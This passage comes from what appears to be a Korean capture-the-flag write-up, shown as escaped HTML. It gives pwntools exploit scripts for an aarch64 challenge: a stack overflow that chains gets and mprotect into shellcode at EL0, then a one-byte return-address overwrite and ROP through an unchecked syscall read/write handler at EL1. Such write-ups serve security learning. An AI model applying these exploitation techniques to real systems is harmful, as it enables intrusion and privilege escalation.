&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;index: &amp;#34;&lt;/span&gt;, str(idx)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;key: &amp;#34;&lt;/span&gt;, key)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;el0_arbitrary_code_execute&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x120&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; make_shellcode(assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; len(pl) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; len(pl))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;main&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x44&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mprotect&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    load_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_RET)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(DUMMY_VALUE)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_SFP_IN_RUN &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x30&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p64(EL0_STACK_LOW &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_BUF &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x120&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; remote(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;6666&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# p = process(&amp;#34;../share/run.sh&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# p = process(&amp;#34;../share/run_debug.sh&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;elf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ELF(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./el0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;el0_arbitrary_code_execute(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    ldr x0, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;print_flag&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    blr x0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    mov x0, #0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    ldr x1, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;exit&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    blr x1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;interactive()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvuntil(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Flag (EL0): &amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FLAG &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvline()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;FLAG : &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;FLAG&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;nsel1&#34;&gt;NS.EL1&lt;/h3&gt;
&lt;p&gt;EL0 에서 Arbitrary Code Execute 가 가능하므로 syscall 을 통해 EL1 의 취약점을 트리거 할 수 있다.&lt;br&gt;
EL1 의 취약점은 syscall handler 에서 read, write 를 처리하는 부분에 존재한다. read, write 를 하는 과정에서 읽기 또는 쓰기를 수행하는 주소의 권한 (EL0 인지 EL1 인지) 를 검증하지 않는다. 따라서 EL0 에서 read 와 write 를 통해 EL1 의 영역에 읽기 및 쓰기가 가능하다. 그러면 read 를 통해 EL1 의 스택을 바꿔 ROP 를 진행할 수 있다.&lt;/p&gt;
&lt;p&gt;하지만 한번의 read 를 통해 바꿀 수 있는 값은 1 바이트이므로 return address 를 적절히 바꿔 ROP 가 가능하게 만들어야 한다. syscall handler 의 return address 는 &lt;code&gt;0xFFFFFFFFC000A830&lt;/code&gt; 이고 1 바이트만 변경할 수 있으므로 사용할 수 있는 가젯은 제한된다.&lt;br&gt;
내가 찾은 가젯은 &lt;code&gt;0xffffffffc0009430: ldp    x19, x20, [sp, #0x10]; ldp    x29, x30, [sp], #0x20; ret;&lt;/code&gt; 이다. 이 가젯을 통해 &lt;code&gt;0xFFFFFFFFC0019C00&lt;/code&gt; 에 존재하는 값을 통해 ROP 를 할 수 있다.&lt;/p&gt;
&lt;h4 id=&#34;get-flag&#34;&gt;Get Flag&lt;/h4&gt;
&lt;p&gt;ROP 를 통해 flag 를 출력해주는 함수를 호출하면 flag 를 얻을 수 있다.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; pwn &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# context.log_level = &amp;#34;debug&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;arch &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;aarch64&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bits &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;endian &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;little&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DUMMY_VALUE &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xDEAD_BEEF_CAFE_BEBE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_STACK_LOW &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFF_7FFF_E000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_SFP_IN_RUN &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFF_7FFF_FFA0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_BUF &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFE_FFFF_D000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_WSM &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFE_FFFF_E000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_LDP_X29_X30_SP_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_00FC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_LDR_X19_LDP_X29_X30_SP_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_0294&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_0100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;make_shellcode&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; bytes:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    shellcode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; asm(assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;load_key&lt;/span&gt;(idx: int):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd&amp;gt; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;index: &amp;#34;&lt;/span&gt;, str(idx)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;save_key&lt;/span&gt;(idx: int, key: bytes):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd&amp;gt; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;index: &amp;#34;&lt;/span&gt;, str(idx)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;key: &amp;#34;&lt;/span&gt;, key)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;el0_arbitrary_code_execute&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;
